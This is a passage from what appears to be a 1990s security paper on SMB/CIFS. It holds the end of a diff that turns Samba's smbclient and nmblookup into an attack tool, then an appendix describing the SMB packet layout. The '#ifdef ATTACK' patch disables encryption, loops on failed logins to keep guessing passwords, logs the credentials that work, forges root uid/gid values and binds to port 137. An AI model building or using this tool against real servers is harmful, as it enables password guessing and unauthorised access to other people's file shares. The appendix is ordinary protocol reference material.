  1860. +     return (False);
  1861. +   }
  1862. + #else
  1863.       return(False);
  1864. ! #endif /* ATTACK */
  1865.     /* parse out the lengths */
  1866. ***************
  1867. *** 3014,3016 ****
  1868.   
  1869. !   DEBUG(3,("Sec mode %d\n",SVAL(inbuf,smb_vwv1)));
  1870.     DEBUG(3,("max xmt %d\n",max_xmit));
  1871. --- 3104,3106 ----
  1872.   
  1873. !   DEBUG(3,("Sec mode %d\n",sec_mode));        /* fixt.  _H*/
  1874.     DEBUG(3,("max xmt %d\n",max_xmit));
  1875. ***************
  1876. *** 3020,3021 ****
  1877. --- 3110,3119 ----
  1878.     doencrypt = ((sec_mode & 2) != 0);
  1879. + #ifdef ATTACK
  1880. + /* don't encrypt, period */
  1881. +   doencrypt = 0;
  1882. + /* don't screw with SessSetupX step unless we genuinely need it */
  1883. +   use_setup = ((sec_mode & 1) != 0);
  1884. + /* always read a password anyways */
  1885. +   got_pass = 0;
  1886. + #endif /* ATTACK */
  1887.   
  1888. ***************
  1889. *** 3103,3104 ****
  1890. --- 3201,3211 ----
  1891.   
  1892. + #ifdef ATTACK
  1893. +       cur_err = interpret_error (
  1894. +             CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
  1895. +       if (cur_err == 2) {
  1896. +     DEBUG (2, ("session setup failed: %s\n", smb_errstr (inbuf)));
  1897. +     goto get_pass;
  1898. +       }
  1899. + #endif /* ATTACK */
  1900.         if (CVAL(inbuf,smb_rcls) != 0)
  1901. ***************
  1902. *** 3129,3130 ****
  1903. --- 3236,3241 ----
  1904.   
  1905. + #ifdef ATTACK
  1906. + /* we're in */
  1907. +       DEBUG(0,("session established as %s/%s\n", username, password));
  1908. + #endif /* ATTACK */
  1909.         if (Protocol >= PROTOCOL_NT1) {
  1910. ***************
  1911. *** 3193,3194 ****
  1912. --- 3304,3313 ----
  1913.   
  1914. + #ifdef ATTACK
  1915. +       cur_err = interpret_error (
  1916. +             CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
  1917. +       if (cur_err == 2) {
  1918. +     DEBUG (2, ("TCon failed: %s\n", smb_errstr (inbuf)));
  1919. +     goto get_pass;
  1920. +       }
  1921. + #endif /* ATTACK */
  1922.     /* trying again with a blank password */
  1923. ***************
  1924. *** 3217,3219 ****
  1925.     
  1926.     max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
  1927. --- 3336,3341 ----
  1928.     
  1929. ! #ifdef ATTACK
  1930. ! /* we're in */
  1931. !   DEBUG(0,("tcon %s connected as %s/%s\n", service, username, password));
  1932. ! #endif /* ATTACK */
  1933.     max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
  1934. ***************
  1935. *** 3863,3865 ****
  1936.         receive_smb(Client,buffer,0);
  1937. !       
  1938.   #ifdef CLIX
  1939. --- 3985,3991 ----
  1940.         receive_smb(Client,buffer,0);
  1941. ! #ifdef ATTACK
  1942. ! /* don't send chkpath-keepalives on a nonexistent tcon */
  1943. !       if (cnum == 0)
  1944. !     continue;
  1945. ! #endif /* ATTACK */      
  1946.   #ifdef CLIX
  1947. ***************
  1948. *** 4043,4044 ****
  1949. --- 4169,4177 ----
  1950.     umask(myumask);
  1951. + #ifdef ATTACK
  1952. + /* oh, c'mon. */
  1953. +   pid = 2048;
  1954. +   uid = 0;
  1955. +   gid = 0;
  1956. +   mid = 2048;
  1957. + #endif /* ATTACK */
  1958.   
  1959. *** nmblookup.c    Thu Jan 30 20:52:47 1997
  1960. --- attack/nmblookup.c    Tue Jan 21 01:39:16 1997
  1961. ***************
  1962. *** 54,56 ****
  1963. --- 54,60 ----
  1964.   
  1965. + #ifdef ATTACK
  1966. +   ServerFD = open_socket_in(SOCK_DGRAM, 137,3);
  1967. + #else
  1968.     ServerFD = open_socket_in(SOCK_DGRAM, 0,3);
  1969. + #endif /* ATTACK */
  1970.   
  1971. ***************
  1972. *** 142,144 ****
  1973. --- 146,150 ----
  1974.       strcpy(scope,optarg);
  1975. + #ifndef ATTACK
  1976.       strupper(scope);
  1977. + #endif /* ATTACK */
  1978.       break;
  1979.  !-- chop --!
  1980.  
  1981. Appendix C: Overview of an SMB packet
  1982. =====================================
  1983.  
  1984. This is [roughly] the structure of an SMB packet as found inside the TCP
  1985. payload and Samba's internal buffers.  The leading length integer is not part
  1986. of the SMB proper, and does not always appear under other transport types.
  1987. For further details, see CIFS section 2.4.
  1988.  
  1989. offset    name            size    contents / comments
  1990. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1991.  0    [length int.]         4    TCP transport-layer data length
  1992.  4    header start         4    0xFF, 'S', 'M', 'B'
  1993.  8    SMB command         1    cmd code
  1994.  9    smb_rcls         2    error class; 0 = no error
  1995. 11    smb_err             2    error code ; 0 = no error
  1996. 13    smb_flg             1
  1997. 14    smb_flg2         2
  1998. 16    [filler]        12
  1999. 28    TID             2
  2000. 30    PID             2
  2001. 32    UID             2
  2002. 34    MID             2
  2003. 36    word count         1    number of following parameter words
  2004. 37    smb_vwv0         2    0x00FF [intel order] if no AndX cmd
  2005. 39    smb_vwv1         2    0x0000 if no batched AndX stuff
  2006. 41    smb_vwv2         2    ...
  2007.    ... to a variable length's worth ...
  2008. ??    buffers             *    smb_buf() finds this offset
  2009.    ... SMB ends at (TCP-len + 4) ...
  2010.  
  2011. _H* 970130
  2012.